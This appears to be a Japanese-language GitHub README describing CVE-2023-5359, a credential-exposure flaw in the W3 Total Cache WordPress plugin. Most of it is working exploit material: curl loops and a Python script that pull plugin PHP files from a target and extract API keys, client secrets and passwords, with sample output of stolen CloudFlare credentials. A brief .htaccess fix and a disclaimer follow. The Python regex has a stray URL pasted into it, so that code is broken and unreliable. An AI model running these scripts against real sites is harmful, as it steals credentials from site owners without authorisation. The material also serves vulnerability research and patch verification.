CVE-2023-5359 は、WordPress プラグイン W3 Total Cache のバージョン ≤ 2.7.5 に影響する平文保存の脆弱性です。この脆弱性により、リモートの攻撃者は、公開されている暗号化されていない PHP ファイルに保存された機密の認証情報にアクセスできます。
W3 Total Cache は、設定と API 認証情報を /wp-content/plugins/w3-total-cache/ ディレクトリ内の PHP ファイルに十分な保護なしで保存します。これらのファイルは HTTP 経由でアクセス可能であり、以下を露出させます:
/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php
/wp-content/plugins/w3-total-cache/Config.php
/wp-content/plugins/w3-total-cache/Cache_File.php
# Check if W3 Total Cache is installed
curl -s https://target.com/ | grep "w3-total-cache"
# Extract CloudFlare credentials
curl -s "https://target.com/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php" | grep -E "client_id|client_secret"
# Search all vulnerable files
for file in Extension_CloudFlare_Plugin.php Generic_Plugin_Admin.php Config.php; do
echo "=== $file ==="
curl -s "https://target.com/wp-content/plugins/w3-total-cache/$file" | grep -E "api_key|password|secret"
done
#!/usr/bin/env python3
import requests
import re
target = "https://victim.com"
files = [
"/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php",
"/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
]
for file in files:
response = requests.get(target + file)
credentials = re.findall(r"(api_key|client_secret|password)\s*=\s*['\"](https://github.com/enzocipher/cve-2023-5359/blob/HEAD/%5B%5E%27%5C%22%5D+)", response.text)
if credentials:
print(f"[!] Credentials found in {file}:")
for key, value in credentials:
print(f" {key}: {value}")
攻撃者は以下を取得できる可能性があります:
# .htaccess protection
<Files *.php>
Deny from all
</Files>
<Files "w3-total-cache.php">
Allow from all
</Files>
# Check for vulnerable version
curl -s https://target.com/wp-content/plugins/w3-total-cache/w3-total-cache.php | grep "Version"
[*] Scanning: https://example.com
[+] W3 Total Cache detected
[+] Accessible file: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
[!] CREDENTIALS FOUND:
client_id: GAxxxxxxxxxxxx78
client_secret: ABcdEFghIJklMNopQRstUVwxYZ012345
このリポジトリは教育目的および許可されたペネトレーションテスト専用です。この情報の悪意のある使用は固く禁止されています。
この情報が役に立ちましたか? リポジトリにスターを付けてください!
最終更新: 2025年11月